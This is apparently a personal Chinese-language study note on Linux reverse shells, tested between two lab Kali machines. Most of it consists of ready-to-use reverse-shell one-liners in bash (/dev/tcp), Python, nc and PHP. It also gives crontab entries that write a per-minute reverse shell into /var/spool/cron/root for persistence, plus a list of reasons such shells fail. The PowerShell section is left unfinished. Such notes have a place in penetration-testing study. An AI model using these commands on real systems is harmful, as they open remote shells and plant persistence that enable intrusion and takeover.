反弹shell
linux下反弹shell的几种方法
测试环境说明
攻击者:kali2020.03 64位 192.168.229.129
靶机:kali2018 192.168.229.130
https://www.freebuf.com/articles/system/178150.html
bash 反弹
反弹shell的命令
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
开启监听端口
1 | nc -lvp port |
受害机上使用
1 | bash -i >& /dev/tcp/ip/port 0>&1 |
解释:
- bash -i代表在本地打开一个bash
- /dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
- &后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出
- 加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了

python 反弹
反弹shell的命令变为
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |

nc 反弹
条件是靶机上有nc
尝试两种方法后都莫有成功
1 | nc -lvp port |


1 | nc -nvlp port |


定时计划反弹shell
crontab -e直接写入
1 | * * * * * bash -i >& /dev/tcp/ip/8888 0>&1 |

- 创建shell文件,然后通过
crontab -e写入
ps
在
/etc/crontabshell下写入
1
2
bash -i >& /dev/tcp/IP/8888 0>&1然后
crontab -e写入
1 * * * * * /etc/crontabshell
- 写入到crontab定时任务所在位置
/var/spool/cron/root
echo '* * * * * bash -i >& /dev/tcp/监听该机器的ip/8888 0>&1' >> /var/spool/cron/root

nc -lvp 8888

php 反弹
注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数
默认的php.ini文件中没有打开安全模式
使用php的exec函数执行反弹shell的命令
1 | php -'exec("/bin/bash -i >& /dev/tcp/ip/port")' |
但是没有成功
之前乌云知识库上的一个姿势,使用php的fsockopen去连接远程:
1 | php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");' |


附上国外大佬整理的各种版本的shell写法
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
1 | #bash版本: |
powershell反弹shell的方法
测试环境说明
攻击者:kali2020.03 64位 192.168.229.129
靶机:win7 x64 192.168.229.134

emmm暂时先鸽了
其他反弹shell的方式
简单总结一下反弹shell失败可能得原因
- 禁止出站ip(只允许访问特定ip)
- 禁止出站端口(只允许访问特定端口)
- 禁止出站协议(只允许特定协议,如icmp、dns、http)
- 反弹命令不存在或是当前用户无权调用bash
- 可能不是使用的bash、而是sh或其他